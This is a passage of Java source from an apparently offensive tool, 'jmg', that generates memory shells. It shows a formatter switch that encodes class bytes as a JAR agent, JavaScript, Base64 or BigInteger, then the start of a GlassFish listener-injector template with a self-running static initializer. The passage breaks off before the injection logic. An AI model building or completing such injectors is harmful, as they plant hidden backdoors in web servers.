34 | case Constants.FORMAT_JAR_AGENT:
35 | bytes = new JARAgentFormater().transform(clazzBytes, config);
36 | break;
37 | case Constants.FORMAT_JS:
38 | bytes = new JavaScriptFormater().transform(clazzBytes, config);
39 | break;
40 | case Constants.FORMAT_BASE64:
41 | bytes = new BASE64Formater().transform(clazzBytes, config);
42 | break;
43 | case Constants.FORMAT_BIGINTEGER:
44 | bytes = new BigIntegerFormater().transform(clazzBytes, config);
45 | break;
46 | default:
47 | bytes = clazzBytes;
48 | break;
49 | }
50 | return bytes;
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/template/GlassFishListenerInjectorTpl.java:
--------------------------------------------------------------------------------
1 | package jmg.core.template;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.IOException;
6 | import java.lang.reflect.Field;
7 | import java.lang.reflect.InvocationTargetException;
8 | import java.lang.reflect.Method;
9 | import java.util.ArrayList;
10 | import java.util.EventListener;
11 | import java.util.HashMap;
12 | import java.util.List;
13 | import java.util.zip.GZIPInputStream;
14 |
15 |
16 | public class GlassFishListenerInjectorTpl {
17 | public String getClassName() {
18 | return "";
19 | }
20 |
21 | public String getBase64String() throws IOException {
22 | return "";
23 | }
24 |
25 | static {
26 | new GlassFishListenerInjectorTpl();
27 | }
28 |
29 | public GlassFishListenerInjectorTpl() {
30 | try {
31 | List